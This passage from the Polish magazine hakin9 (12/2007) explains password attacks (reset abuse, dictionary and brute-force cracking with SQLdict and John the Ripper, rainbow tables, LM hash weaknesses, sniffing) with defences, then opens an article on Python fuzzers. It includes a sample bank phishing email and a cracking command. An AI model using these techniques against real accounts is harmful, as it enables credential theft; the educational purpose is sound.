od jego siły. Jedyną skuteczną formą 
obrony jest w tym przypadku eduka-
cja i informowanie użytkowników.

Self–service password 

reset

Samoobsługowe  resetowanie  hasła 
(ang. self–service password reset) to 
procedura występująca w wielu sys-
temach. Jej istota polega na tym, że 
użytkownik, który zapomniał swojego 
hasła lub ma inny problem związany 
z  korzystaniem  z  usługi  (np.  zablo-
kowane  konto),  jest  w  stanie  uwie-
rzytelnić  się  w  systemie  przy  uży-
ciu  alternatywnej  metody  i  doko-
nać stosownej akcji naprawczej bez
konieczności telefonowania do help-
desku.  Alternatywna  metoda  uwie-
rzytelniania  zasadniczo  opiera  się 
na  konieczności  dostarczenia  sto-
sownej  informacji  (uwierzytelnianie 
what  user  knows),  jak  np.  adresu 

Phishing – przykładowy 

e-mail

Drogi Kliencie!

W związku ze zmianą mechanizmu 

uwierzytelniania i koniecznością stałe-
go  podnoszenia  poziomu  bezpieczeń-
stwa naszych usług, prosimy o potwier-
dzenie  autentyczności  adresu  e–mail, 
na który został wysłany ten komunikat.

W  tym  celu  prosimy  o  kliknięcie 

[odnośnika]  do  modułu  audytowego 
Systemu  Banku,  a  następnie  poda-
nie  w  formularzu  Identyfikatora  Klien-
ta, Hasła Konta oraz jednego z pięciu 
ostatnich haseł znajdujących się na ak-
tywnej Karcie Haseł Jednorazowych.
Dziękujemy,
Z wyrazami szacunku,
Bank XYZ

Rysunek 2. 

Narzędzie SQLdict

background image

Słabość mocnych haseł

hakin9 Nr 12/2007

www.hakin9.org

39

e–mail  podanego  podczas  rejestra-
cji  konta  oraz  odpowiedzi  na  zdefi-
niowane wcześniej pytanie. Problem 
w tym, że informacje te często są dla 
hakera  łatwo  osiągalne.  Skuteczne 
zainicjowanie  omawianej  procedury 
jest więc potencjalnie o wiele łatwiej-
sze niż przeprowadzenie bezpośred-
niego  ataku  na  hasło.  Jeżeli  haker 
ma  dostęp  do  poczty  określonego 
użytkownika,  to  niestety  omawiana 
funkcjonalność  w  większości  przy-
padków  przyczyni  się  do  uzyska-
nia  przez  atakującego  haseł  dostę-
powych  do  wielu  innych  systemów. 
Jest to o tyle istotne, że użytkownicy 
często uważają konto poczty e–mail
za  mało  ważne,  gdyż  nie  przecho-
wują tam żadnych cennych informa-
cji. Hasło do poczty jest więc często 
bardzo słabe.

Atak słownikowy

W  ataku  słownikowym  (ang.  dictio-
nary attack
) wykorzystuje się prede-
finiowaną listę słów (ang. words list), 
która  jest  źródłem  potencjalnych
haseł. Atak ten występuje w dwóch 
zasadniczo  różniących  się  odmia-
nach.  Słownik  można  wykorzystać 
do ataku na skróty haseł (wymagany 
jest fizyczny dostęp do systemu) lub 
podczas  próby  zdalnego  uwierzy-
telniania,  kiedy  odpowiednie  opro-
gramowanie  symuluje  logowanie 
się użytkownika systemu. Niezależ-
nie od typu ataku słownikowego, jest 

on skuteczny wyłącznie w przypad-
ku  haseł  słabych,  gdyż  silnych  ha-
seł po prostu nie opłaca się w stan-
dardowy  sposób  słownikować.  Atu-
tem ataku słownikowego jest niewąt-
pliwie  jego  szybkość.  Może  on  być 
przeprowadzony  znacznie  szybciej 
niż  ekwiwalentny  atak  z  wykorzy-
staniem wszystkich możliwych kom-
binacji  (ang.  brute–force  attack). 
Skuteczność  metody  słownikowej 
zależy  głównie  od  doboru  słowni-
ka.  Większość  dostępnych  w  sieci 
słowników zawiera frazy danego ję-
zyka,  miejsca,  nazwiska  sławnych 
postaci,  a  także  często  używane 
hasła.  Prywatne  osoby  lub  insty-
tucje  przygotowują  czasem  słow-
niki zawierające bardziej specyficz-
ne określenia. Naturalna tendencja 
do tworzenia haseł słabych pozwa-
la zakładać, że jeżeli właścicielem 
danego  hasła  jest  np.  kucharz,  to 
przy ataku na jego hasło warto wy-
korzystać  słownik  zawierający  fra-
zy związane z gotowaniem.

Obecnie dużo trudniej przeprowa-

dzić skuteczny zdalny atak na hasło 
niż jeszcze kilka lat temu. Występują 
dwa zasadnicze ograniczenia:

•   systemy  blokują  dostęp  dla  ad-

resu IP, który dokonał określonej 
liczby  nieudanych  prób  uwierzy-
telniania (tzw. IP lockout),

•   dostęp  do  systemu  z  określone-

go konta dostępowego jest bloko-
wany, jeżeli dokonano określonej 

liczby  nieudanych  prób  logowa-
nia  przy  użyciu  tego  konta  (tzw. 
account lockout).

O  ile  z  pierwszym  problemem  moż-
na sobie stosunkowo łatwo poradzić, 
stosując  anonimowe  serwery  proxy,
o  tyle  druga  przeszkoda  nie  jest  już 
tak prosta do pokonania. Większość 
nowoczesnych  systemów  informa-
tycznych działających w sieci publicz-
nej  loguje  informacje  o  nieudanych 
próbach  uwierzytelniania  i  reaguje
w sytuacji wykrycia ataku. Najsłabsza 
cecha  ataku  słownikowego  wynika
z jego istoty – konieczne jest przepro-
wadzenie  odpowiedniej  liczby  prób 
przy użyciu haseł ze słownika w rela-
tywnie krótkim czasie. Jeżeli z jakich-
kolwiek powodów nie będzie to mogło 
nastąpić – atak będzie nieskuteczny.

Można  sobie  wyobrazić  wie-

le  scenariuszy  ataku  z  wykorzysta-
niem słownika. Dla przykładu załóż-
my, że nieuczciwy pracownik usiłuje 
uzyskać  dostęp  do  informacji  znaj-
dującej się na serwerze baz danych
Microsoft SQL Server 2005, który ob-
sługuje uwierzytelnianie poprzez po-
danie nazwy użytkownika oraz hasła 
(tzw. SQL Server Authentication w od-
różnieniu od Windows Authentication
czyli  zintegrowanego  uwierzytelnia-
nia  Windows).  Atakujący  dysponuje
informacją, że dostęp do interesują-
cego  zestawu  danych  ma  użytkow-
nik  o  loginie  kowalski  –  hasło  tego 
użytkownika zostanie więc zaatako-

Rysunek 3. 

John the Ripper – atak na hasło systemu Linux

Przesyłanie haseł 

otwartym tekstem

Przykładowa  komunikacja  z  wykorzy-
staniem protokołu FTP, w którym hasło 
przesyłane jest w jawnej postaci:

Connected to server.com
220 server.com FTP serwer (Version 
wu–2.4(1) Fri Jul 21 11:32:01 GMT 
2007) ready.
Name (server.com:kowalski): 
kowalski
331 Password required for 
kowalski.
Password: tojesthaslo
230 User kowalski logged in.
Remote system type is UNIX.
Using binary mode to transfer 
files.

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

40

wane. Nieuczciwy pracownik zdecy-
dował się wykorzystać do tego celu
bardzo  proste  narzędzie  SQLdict 
(http://ntsecurity.nu/toolbox/sqldict/), 
które  na  średniej  klasy  komputerze 
potrafi  sprawdzić  od  kilkunastu  do 
kilkudziesięciu  tysięcy  haseł  na  mi-
nutę.  Atakujący  wie  bardzo  niewie-
le  o  użytkowniku  i  nie  jest  w  stanie 
zdefiniować jego predyspozycji doty-
czących tworzenia haseł, zdecyduje 
się więc na użycie dwóch słowników: 
jednego  z  około  tysiącem  najczę-
ściej występujących haseł i drugiego 
zawierającego 869000 fraz różnych 
języków  (http://www.outpost9.com/
files/WordLists.html,ftp://ftp.ox.ac.uk/
pub/wordlists/
).  Hasło  zostaje  sku-
tecznie zaatakowane w bardzo krót-
kim czasie (Rysunek 2). SQL Server 
2005 nie posiada żadnych mechani-
zmów  typu  lockout  i  domyślnie  nie 
loguje  nieudanych  prób  logowania. 
Istnieje więc duże prawdopodobień-
stwo, że nawet o tak prostym ataku 
nikt by się nie dowiedział.

Naturalnie słowniki są wykorzy-

stywane  również  przy  klasycznym 
łamaniu  haseł,  czyli  próbie  odna-
lezienia  łańcucha  znaków,  którego
skrótem  się  dysponuje.  W  takim 
przypadku  można  stosować  pew-
ne  zabiegi  podnoszące  efektyw-
ność  ewentualnego  ataku.  Jedną 
z możliwości jest wstępne przetwo-
rzenie  słownika  (ang.  precompu-
tation
),  polegające  na  dodaniu  do 
każdej frazy słownika jej skrótu lub 

skrótów (w przypadku obsługi kilku 
funkcji  hashujących).  Oczywiście 
zwiększy to znacznie rozmiar słow-
ników, pozwoli jednak na jego prze-
szukiwanie  w  oparciu  o  wartość 
skrótu  (wyszukiwanie  skrótu  jest
co najmniej o rząd wielkości szyb-
sze niż jego generowanie). Wstępne 
przetworzenie słownika ma prakty-
czny  sens  wyłącznie  w  sytuacji,
w której łamane hasła nie były solo-
ne lub zostało to wykonane niepra-
widłowo.  Solenie  haseł  (ang.  sal-
ting
) to nic innego, jak zabieg mają-
cy  na  celu  wprowadzenie  elemen-
tu losowości do procesu tworzenia 
ich skrótów. Pomysł polega na tym,
że  przed  zaszyfrowaniem  funkcją 
hashującą  do  hasła  dołączana  jest 
sól (ang. salt), czyli po prostu dodat-
kowy ciąg bitów. Oczywiście system 
uwierzytelniania  musi  przechowy-
wać sól, aby móc weryfikować hasła 
wprowadzane  przez  użytkowników. 
Postuluje się, że dla każdego użyt-
kownika  powinna  być  stosowana
inna  sól  o  długości  porównywalnej
z długością samego skrótu.

Klasyczne  łamanie  haseł  me-

todą  słownikową  może  być  oczy-
wiście  przeprowadzone  wyłącznie
w  sytuacji,  w  której  haker  wejdzie
w  posiadanie  ich  skrótów.  Mo-
że  się  to  stać  na  wiele  sposobów 
–  od  skutecznego  podsłuchu  sieci 
lub  przechwycenia  hasha  w  trans-
misji, po uzyskanie fizycznego do-
stępu  do  komputera.  Przykładowy 

hash MD5 słabego hasła jest czę-
sto łamany w czasie nie dłuższym 
niż jedna minuta (Rysunek 3).

Atak brute–force

Atak  brute–force  polega  na  spraw-
dzaniu  wszystkich  możliwych  kom-
binacji  haseł  i,  podobnie  jak  atak 
słownikowy,  może  być  użyty  za-
równo  podczas  łamania  haseł,  jak
i do uzyskania nieuprawnionego do-
stępu  do  systemu  zdalnego.  Jeżeli 
chodzi o drugi przypadek, to z punk-
tu  widzenia  atakowanego  systemu, 
atak brute–force wygląda tak samo, 
jak  atak  słownikowy,  tzn.  określo-
ny host lub grupa hostów dokonuje
prób  uwierzytelniania  w  relatywnie 
krótkim czasie. Wspomniany już me-
chanizm prewencyjny (lockout) mo-
że  więc  skutecznie  zablokować  te-
go typu działania. Atak brute–force
jest  najczęściej  wykorzystywany 
przy  klasycznym  łamaniu  haseł,  ze 
względu  na  potencjalną  koniecz-
ność  sprawdzenia  wielu  milionów 
kombinacji  jego  wykorzystanie  do 
prób  odgadnięcia  hasła  do  zdalne-
go systemu jest niewielkie.

W  ataku  brute–force  kluczowe 

znaczenie  ma  odpowiednie  dosto-
sowanie  wzorców,  według  których 
generowane  będą  hasła  oraz  ko-
lejność  stosowania  wzorców.  Jest 

Rysunek 4. 

Ophcrack w działaniu

Funkcje skrótu 

(ang. hash functions)

Obecnie wykorzystuje się wiele funkcji 
skrótu, jak np. SHA–1, SHA–2, MD2, 
MD4,  MD5,  Cisco  PIX,  LM,  Whirlpo-
ol, RIPEMD–160 etc. Różnią się one 
zarówno długością skrótu, jak i pozio-
mem  skomplikowania  operacji  i  –  co 
za tym idzie – siłą algorytmu. Ich zada-
niem jest generowanie jednoznacznych 
skrótów  z  dowolnego  strumienia  da-
nych wejściowych, w taki sposób, aby
ze skrótu nie dało się uzyskać wejścio-
wego strumienia danych (jednokierun-
kowość),  konkretny  strumień  danych 
zawsze  miał  identyczny  skrót  (deter-
minizm) i żaden inny strumień danych 
nie  uzyskał  takiego  samego  skrótu 
(brak kolizji). W 2004 i 2005 roku wy-
kryto  słabości  dwóch  najbardziej  po-
pularnych algorytmów – MD5 i SHA–1.
Mimo to, są nadal stosowane.

background image

Słabość mocnych haseł

hakin9 Nr 12/2007

www.hakin9.org

41

to  o  tyle  istotne,  że  potrafi  znacz-
nie skrócić czas niezbędny do zła-
mania hasła. Warto więc na począ-
tek  sprawdzić  stosunkowo  proste 
kombinacje,  jak  np.  same  małe  li-
tery (do 8 znaków). W popularnym 
programie  John  the  Ripper  (http://
www.openwall.com/john/ 
) za tryb 
brute–force odpowiada przełącznik 
–i lub –incremental. Aby sprawdzić 
wyłącznie małe litery, należy wywo-
łać program w następujący sposób: 

john –i=alpha passwords.txt

JtR ma 

jeszcze  jedną  ciekawą  funkcjonal-
ność, która stanowi swoiste połącze-
nie ataku brute–force i ataku słowni-
kowego – tzw. word mangling rules
Mechanizm polega na przekształca-
niu  fraz  zawartych  w  dostarczonym 
słowniku  tak,  aby  w  locie  automa-
tycznie  sprawdzać  frazy  składniowo 
podobne. Frazy te generowane są na 
podstawie  zasad  przypominających 
wyrażenia regularne, zdefiniowanych 
w  pliku  konfiguracyjnym  john.conf
lub  john.ini  (w  zależności  od  syste-
mu  operacyjnego).  Przekształcenia 
polegają  m.  in.  na  odwracaniu  fraz 
lub ich fragmentów, zamianie małych 
liter  na  wielkie  i  odwrotnie,  zastępo-
waniu niektórych liter cyframi, doda-
waniu do końca frazy cyfr etc. Prakty-
ka pokazuje, że pozwala to znacznie 
podnieść skuteczność ataku. Im wię-
cej tego typu operacji zostało przewi-
dzianych, tym bardziej charakter ata-
ku zbliża się do modelu brute–force
Wiąże się to oczywiście ze znacznym 

podniesieniem skuteczności, ale czę-
sto także – z jeszcze znaczniejszym 
wydłużeniem czasu niezbędnego do 
złamania hasła.

Atak z wykorzystaniem 

tęczowych tablic

Tęczowe tablice (ang. rainbow tables
to  pomysłowa  realizacja  postulatu 
określanego  niekiedy  kompromisem
czasu  i  pamięci  (ang.  time–memo-
ry trade–off
). Autorem koncepcji jest
Dr  Philippe  Oechslin.  Idea  tęczo-
wych tablic polega na tworzeniu łań-
cuchów  haseł  i  hashy,  z  tym  jednak 
założeniem, że zapisywane jest jedy-
nie pierwsze hasło oraz ostatni skrót. 
Łańcuch  budowany  jest  za  pomo-
cą  odpowiedniej  funkcji  skrótu  i  tzw. 
funkcji  redukcyjnej  według  następu-
jącego algorytmu: wylicz hash z da-
nego hasła, następnie zredukuj hash 
do nowego hasła, wtedy wylicz hash 
z  nowego  hasła  etc.  Łamanie  hasła
z kolei odbywa się w taki sposób, że 
hash łamanego hasła jest sukcesyw-
nie redukowany aż do momentu zna-
lezienia  w  tęczowej  tablicy  identycz-
nego  hasha.  Gdy  to  nastąpi,  brane 
jest hasło początkowe z danego łań-
cucha a następnie funkcjami reduk-
cyjnymi przekształcane do momen-
tu,  w  którym  jego  skrót  (wyliczany 
na  bieżąco)  będzie  równy  skróto-
wi łamanego hasła. Termin tęczowe 
tablice
  powstał  właśnie  w  związku 
z  istnieniem  kolejnych  faz  redukcji 
(funkcji  redukcyjnych),  które  ozna-

czone  kolorem  utworzyłyby  piono-
wą tęczę.

Skuteczność  omawianego  ataku 

jest oczywiście uzależniona od wiel-
kości tęczowych tablic, istnieje tutaj 
duża  analogia  do  rozmiaru  słowni-
ka  w  ataku  słownikowym.  Najwięk-
sze  tablice  są  niedostępne  za  dar-
mo,  pozostaje  więc  albo  zadowo-
lić  się  mniejszymi,  albo  wygenero-
wać je sobie samemu (np. przy uży-
ciu  łatwego  w  obsłudze  narzędzia 
Winrtgen, http://www.oxid.it/projects.
html
).  Trzeba  oczywiście  pamiętać
o tym, że dostatecznie duża tęczowa 
tablica, zapewniająca 95% i większą
skuteczność  łamania  haseł,  może 
powstawać wiele dni. Z drugiej stro-
ny,  pozwala  skrócić  czas  łamania 
haseł  z  dni  do  minut.  Co  ciekawe,
w sieci pojawiają się serwisy WWW 
udostępniające za darmo lub za sto-
sowną  opłatą  usługę  łamania  haseł 
metodą  tęczowych  tablic.  Wystar-
czy wejść na odpowiednią stronę (np. 
http://plain–text.info/) i przesłać swój 
skrót.  Stosunkowo  skuteczną  ochro-
nę  przed  tęczowymi  tablicami  za-
pewnia  w  zasadzie  wyłącznie  odpo-
wiednie solenie haseł. 32–bitowa sól
wydaje  się  wystarczająca,  aby  unie-
możliwić  złamanie  nawet  nie  najsil-
niejszego hasła.

Dostępnych  jest  coraz  więcej

narzędzi  wykorzystujących  tęczowe 
tablice do przeprowadzenia ataku na 
hasła. Najpopularniejsze to: 

•  Ophcrack (http://ophcrack. 

sourceforge.net/), 

•  RainbowCrack (http://www. 

antsight.com/zsl/rainbowcrack/),

•  Cain & Abel (http://www.oxid.it/

cain.html).

Użycie algorytmu 

kryptograficznego

Zarówno funkcje hashujące, jak i sys-
temy  uwierzytelniania  mają  swoje 
osobliwości,  których  wykorzystanie 
może hakerowi znacznie ułatwić za-
danie.  Słabością  mechanizmu  uwie-
rzytelniania  i  przechowywania  haseł 
w  systemach  rodziny  Microsoft  Win-
dows  jest  po  dziś  dzień  stosowanie 
niesolonych  hashy  (ang.  salt–less
hashes
), co – mówiąc wprost – pod-

Rysunek 5. 

Cain & Abel w trakcie ataku brute–force na skrót LM

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

42

nosi  wydajność  wszystkich  metod
łamania  haseł.  System  Windows
doskonale  pasuje  też  do  scenariu-
sza ataku z wykorzystaniem słabości
algorytmu  kryptograficznego,  gdyż 
stosowana  w  nim  funkcja  hashująca 
LM  (Microsoft  LAN  Manager)  działa
w  sposób  dalece  niezadowalający, 
jeżeli  chodzi  o  bezpieczeństwo  ha-
seł. System Windows używa algoryt-
mu LM do hashowania haseł 14–zna-
kowych  i  krótszych.  Ze  względu  na 
wsteczną  zgodność  z  poprzednimi 
wersjami  tego  systemu  operacyjne-
go,  algorytm  LM  jest  domyślnie  sto-
sowany  we  wszystkich  systemach, 
skończywszy na wersji Windows XP 
(Windows  Vista  wykorzystuje  algo-
rytm NTLMv2). LM działa w następu-
jący sposób:

•   zamienia małe litery hasła na lite-

ry wielkie,

•   długość  hasła  jest  zrównywana 

do  14  znaków  (jeżeli  hasło  jest 
krótsze, zostaje odpowiednio uzu-
pełnione),

•   hasło jest następnie dzielone na 

7–bajtowe części,

•   obydwie części są stosowane do 

utworzenia dwóch kluczy za po-
mocą algorytmu DES,

•   każdy z kluczy zostaje następnie 

użyty  do  zaszyfrowania  algoryt-
mem  DES  niezmiennego  łańcu-
cha znaków KGS!@#$%, czego 
efektem  są  dwa  8–bajtowe  szy-
frogramy,

•   tak  uzyskane  szyfrogramy  podle-

gają prostej konkatenacji do jedne-
go  16–bajtowego  łańcucha,  który 
odtąd uznany zostaje za hash LM.

Nietrudno  zauważyć,  że  opisany 
wyżej  algorytm  ma  przynajmniej 

dwie poważne wady. Po pierwsze, 
siła  każdego  hasła  jest  znacznie 
zmniejszona przez fakt, że nie jest 
ono  hashowane  jako  całość.  Po-
zwala  to  zaatakować  oddzielnie 
części haseł, co obliczeniowo sta-
nowi duże ułatwienie. 

Po  drugie,  zamiana  wszystkich 

liter na litery wielkie również znacz-
nie obniża siłę hasła. Powstało wie-
le narzędzi, które wykorzystują wy-
mienione podatności algorytmu LM 
i pozwalają na szybkie łamanie ha-
seł.  Jednym  z  nich  jest  popularne 
narzędzie  dedykowane  do  syste-
mów  Windows  –  Cain  &  Abel  (Ry-
sunek 5).

Słaby  algorytm  kryptograficz-

ny  w  połączeniu  z  nowoczesnymi 
metodami  łamania  haseł  wykorzy-
stującymi m. in. tęczowe tablice to 
duże zmartwienie dla administrato-
rów i osób zajmujących się zabez-
pieczaniem  informacji.  Jedyne  po-
cieszenie w tym, że istnieje jeszcze 
pierwsza  linia  obrony  –  tzn.  unie-
możliwienie, aby ktokolwiek wszedł 
w posiadanie skrótów haseł.

Podsłuchiwanie haseł

Podsłuchiwanie haseł (ang. password 
sniffing
)  stanowi  często  ostatnią 
szansę  dla  hakera  na  pozyskanie 
upragnionego  hasła.  Sniffing  to  de 
facto
  technika  ataku  na  transmisję 
– tzw. przechwycenie. Podsłuchiwa-
nie  jest  wykorzystywane  do  maso-
wego  pozyskiwania  i  gromadzenia 
haseł  nawet  dużej  ilości  użytkow-
ników.  Zakłada  zastosowanie  spe-
cjalnych narzędzi, które ułatwiają filtra-
cję pakietów i dostarczają hakerowi
wyselekcjonowanych informacji, czyli
mówiąc wprost – haseł. Zasięg pro-
gramu  nasłuchującego  ograniczo-

ny jest w zasadzie do domeny roz-
głoszeniowej,  pozwala  to  jednak  na 
skuteczny  podsłuch.  Wiele  wciąż
intensywnie wykorzystywanych pro-
tokołów  sieciowych  realizuje  jawny 
transfer haseł (przesyła hasła otwar-
tym tekstem). Ma to miejsce choćby
w  przypadku  protokołu  FTP,  HTTP 
(uwierzytelnianie  basic  authentica-
tion
),  POP3,  SMTP,  IMAP,  NNTP, 
VNC,  TDS,  ICQ.  Użytkownik  jest 
często  skazany  na  korzystanie
z  niebezpiecznych  sposobów  prze-
syłania haseł, a jedyną – mało atrak-
cyjną – alternatywą jest zaprzestanie 
korzystania z określonej usługi.

Najbardziej  sensownym  sposo-

bem  na  praktyczne  wyeliminowa-
nie  podsłuchiwania  haseł  jest  szy-
frowanie transmisji. Wystarczy więc 
stosować  tzw.  bezpieczne  protoko-
ły komunikacji, jak np. SSL (Secure 
Socket Layer
), SSH (Secure Shell), 
SCP  (Secure  Copy  Protocol)  etc.
Zapewniają one dostateczny poziom 
bezpieczeństwa  i  z  użytkowego
punktu widzenia nie są uciążliwe.

Inne metody

Oczywiście  istnieje  jeszcze  cały 
szereg metod, które mniej lub bar-
dziej pośrednio prowadzą do ujaw-
nienia treści hasła. Niektóre z nich 
trudno  nawet  zaliczyć  do  ataków
na  hasła,  gdyż  dotyczą  bezpie-
czeństwa systemów komputerowych
i sieci w ogóle. Wspomnę więc tyl-
ko o:

•   zastosowaniu  koni  trojańskich 

(ang. Trojan horses),

•   przechwytywaniu do pliku sygna-

łów  z  klawiatury  (ang.  keystroke 
logging
),

•   podmienianiu formularza logowa-

nia (ang. login spoofing),

•   przejęciu  sesji  (atak  man  in  the 

middle)  i  podszywaniu  (ang.  spo-
ofing
),

•   kryptoanalizie  akustycznej  (ang. 

acoustic cryptoanalysis).

Wymienione  działania  mają  mniej-
sze  znaczenie,  co  nie  oznacza, 
że  są  niegroźne.  Przede  wszyst-
kim  dużo  trudniej  je  przeprowa-
dzić,  gdyż  wymagają  albo  stosun-

Rysunek 6. 

SniffPass – proste narzędzie podsłuchowe

background image

Słabość mocnych haseł

hakin9 Nr 12/2007

www.hakin9.org

43

kowo dużej wiedzy, albo dużych nakładów pracy, albo 
wystąpienia  okrślonych  uwarunkowań.  Wszystko  jest 
oczywiście  kwe-stią  wysiłku,  jaki  haker  chce  włożyć 
w  pozyskanie  określonego  hasła.  Mając  do  dyspozy-
cji szereg technik najczęściej wybiera taką, która zre-
alizuje  jego  cel  przy  minimalnym  angażowaniu  środ-
ków i czasu.

Podsumowanie

Bezpieczeństwo  jest  zawsze  wypadkową  dwóch  sił 
–  ataku  i  obrony,  zasada  ta  znajduje  również  pełne
zastosowanie  w  przypadku  haseł.  Czasem  najsilniej-
sze hasło może zostać złamane z powodu źle zapro-
jektowanego  procesu  uwierzytelniania,  a  najsłabsze 
hasło  może  być  przez  system  skutecznie  chronione 
przed wszystkimi popularnymi technikami crackerski-
mi. Generalnie do każdej z metod ataku można przypi-
sać stosunkowo efektywną technikę przeciwdziałania, 
jej zastosowanie zależy już jednak od decyzji człowie-
ka.  Przyszłość  haseł  jako  metody  uwierzytelniania
w systemach komputerowych jest według mnie nadal 
sporą  zagadką.  Wielokrotnie  już  wróżono  zmierzch 
epoki haseł i za każdym razem działo się inaczej. Ha-
sła  prawdopodobnie  będą  nam  jeszcze  towarzyszyły 
przez najbliższy czas. Ciekawe jest natomiast kształ-
towanie się metod i technik ataków na hasła wraz ze 
wzrostem  mocy  obliczeniowej  komputerów.  Zgodnie 
z  prawem  Moore'a  (Gordon  E.  Moore,  współzałoży-
ciel  Intela),  szybkość  przetwarzania  układów  cyfro-
wych podwaja się co około dwa lata. Ma to doniosłe 
konsekwencje dla całego świata IT, także i dla bezpie-
czeństwa systemów komputerowych, gdyż to, co było 
uznawane za bezpieczne jeszcze kilka lat temu – wca-
le już takie być nie musi.

W  artykule  opisałem  lub  przywołałem  większość 

istotnych  zagadnień  związanych  z  szeroko  pojętym 
bezpieczeństwem haseł. Jak widać, sposobów na ich 
nieuprawnione pozyskanie jest całkiem sporo. Dodając 
do tego nieświadomość i niedoinformowanie użytkow-
ników,  a  także  wpadki  producentów  oprogramowania
i naukowców – jak np. słabe algorytmy kryptograficzne 
czy brak funkcjonalności typu lockout – można powie-
dzieć, że hasła w swej istocie są rzeczywiście stosun-
kowo słabym środkiem ochrony informacji i innych ak-
tywów systemu. l

O autorze

Autor  zawodowo  zajmuje  się  inżynierią  oprogramowania, 
w  szczególności  rozwiązaniami  data–centric.  Obecnie  jest 
szefem zespołu pracującego nad usługami inteligentnej auto-
matyzacji danych w Dziale Badawczo–Rozwojowym w firmie 
Anica System S.A. Od 6 lat interesuje się zagadnieniami bez-
pieczeństwa informacji.
Kontakt z autorem : marcin@guzowski.info

background image

www.hakin9.org

hakin9 Nr 12/2007

44

Atak

N

ajogólniej  mówiąc,  fuzzingiem  może-
my  nazwać  pewną  grupę  procesów 
i powiązany z nią zestaw aplikacji słu-

żących do przeprowadzania testów podatności 
programów. Fuzzing polega na przekazywaniu 
do testowanego programu częściowo losowych 
danych, które są akceptowane przez program, 
ale mogą doprowadzić do jego nieprawidłowe-
go  zachowania.  Z  reguły  fuzzery  przekazują 
wygenerowane  dane  w  sposób  automatycz-
ny poprzez manipulowanie wywołaniami inter-
fejsów. Podczas badań nad bezpieczeństwem 
danego programu automatyzacja pewnych pro-
cesów jest rzeczą normalną. Dzisiejsze progra-
my są na tyle złożone i trudne do przeanalizo-
wania,  że  ręczne  wykrywanie  błędów  byłoby 
katorgą. Ważny jest także czas poświęcony na 
wykrycie  danej  podatności  –  fuzzery  potrafią 
w kilka minut sprawdzić, czy kod napisany jest 
w poprawny sposób i zwrócić wynik testów. Z po-
wyższych zalet można wywnioskować, że zna-
jomość popularnych fuzzerów, ich budowy oraz 
sposobu działania może być bardzo przydatna. 
W związku z tym, że ogólna teoria fuzzingu zo-
stała już omówiona na łamach hakin9, w tym 
artykule  zajmiemy  się  praktycznymi  aspekta-
mi  tej  ciekawej  gałęzi  bezpieczeństwa  kom-

puterowego  (chociaż  zostaną  przedstawione 
wymagane podstawy teoretyczne). Z uwagi na 
szybki rozwój języka Python i jego duży udział 
w procesie tworzenia programów testujących, 
zajmiemy  się  właśnie  fuzzerami  napisanymi 
w tym języku. Dzięki prostocie Pythona będzie-
my mogli prześledzić proces tworzenia fuzzera 
i zaimplementować swoje własne funkcje, do-
stosowane do konkretnego przypadku. 

Python – tworzenie 

fuzzerów

Piotr Łaskawiec

stopień trudności

Testowanie programów i systemów pod kątem ewentualnych 

luk w bezpieczeństwie jest czynnością coraz bardziej popularną. 

Można ją wykonywać ręcznie lub z wykorzystaniem pomocnych 

narzędzi, które w znacznym stopniu ułatwiają pracę. Warto 

poznać budowę i sposób działania tych narzędzi oraz techniki 

wykorzystywane do ich pisania.

Z artykułu dowiesz się

•   czym jest fuzzing,
•   które  fuzzery  napisane  w  Pythonie  są  godne 

uwagi,

•   jak testować aplikacje i wyłapywać błędy,
•   jak napisać własnego fuzzera od podstaw lub 

z wykorzystaniem gotowych frameworków.

Co powinieneś wiedzieć

•   powinieneś znać podstawowe typy błędów wy-

stępujących w programach,

•   powinieneś  znać  przynajmniej  podstawy  Py-

thona,

•   powinieneś mieć doświadczenie w testowaniu 

aplikacji.

background image

Python – tworzenie fuzzerów

hakin9 Nr 12/2007

www.hakin9.org

45

Teoria fuzzingu

Fuzzery  możemy  wykorzystać  do 
testowania różnych aplikacji. Ich za-
stosowanie  nie  ogranicza  się  tylko 
i wyłącznie do aplikacji wykonywa-
nych lokalnie. Większości analiz do-
konuje się na programach sieciowych,
wykorzystujących  protokoły  TCP 
i UDP. 
Działaniu  fuzzera  możemy  podda-
wać:

•   aplikacje działające lokalnie,
•   aplikacje internetowe,
•   kontrolki ActiveX,
•   biblioteki współdzielone,
•   pliki  (tworzenie  niestandardo-

wych formatów),

•   inne.

Nie tylko cele działania fuzzera są 
zróżnicowane.  Możemy  wyróżnić 
także  kilka  typów  narzędzi  testu-
jących  –  w  zależności  od  sposo-
bu działania i efektywności. Pierw-
szą  i  najprostszą  grupę  stanowią 
fuzzery manualne. Praktycznie nie 

wykorzystujemy w nich oprogramo-
wania  dodatkowego  (w  przypadku 
testowania  aplikacji  sieciowej  ko-
rzystamy  z  zestawu  klient/serwer). 
Manualne  sprawdzanie  podatności 
polega  na  obserwowaniu  działania 
programu,  wyszukiwaniu  intere-
sujących  danych  i  ich  modyfikacji 
(wprowadzamy  własne  wartości). 
Po  wprowadzeniu  spreparowanych 
danych  obserwujemy  reakcję  pro-
gramu.  W  przypadku  fuzzingu  ma-
nualnego oszczędność czasu w sto-
sunku do analizy statycznej (analizy 
kodu źródłowego lub binarnego) nie 
jest wyraźnie widoczna. W związku 
z tym możemy wykorzystać fuzzery 
półautomatyczne. W tym przypadku 
używamy  skryptu,  który  uruchamia 
pojedynczą  instancję  naszego  te-
stowanego  programu,  wprowadza-
jąc do niej spreparowane dane. Na-
szym zadaniem jest obserwowanie 
zachowania  programu  i  wyłapywa-
nie ewentualnych anomalii. Ostatnią 
formą,  najbardziej  zaawansowaną 

i  popularną,  jest  fuzzing  auto-
matyczny.  Do  zautomatyzowania 
procesu  testowania  używane  są 
skrypty,  które  wprowadzają  do  te-
stowanego programu częściowo lo-
sowe  dane  w  sposób  nieprzerwa-
ny, w oczekiwaniu na błąd. Jednym 
z  takich  automatycznych  testerów 
jest Taof, fuzzer napisany w całości 
w Pythonie.

Taof

Zanim zaczniemy pisać własne fuz-
zery, warto przyjrzeć się dotychcza-
sowej  pracy  innych  programistów. 
Idealnym  przykładem  będzie  Taof, 
ciekawy  fuzzer  wyspecjalizowany 
w testowaniu protokołów sieciowych.
Możemy  go  pobrać  ze  strony  (1). 
Jest to obecnie jeden z najlepszych 
produktów  dostępnych  na  rynku. 

Rysunek 1. 

Konfiguracja połączenia 

w Taof

Fuzzery napisane w Pythonie

•   Peach – wieloplatformowy framework, którego głównymi cechami są duże możliwo-

ści oraz prostota użycia. Jest jednym z najpopularniejszych frameworków służących 
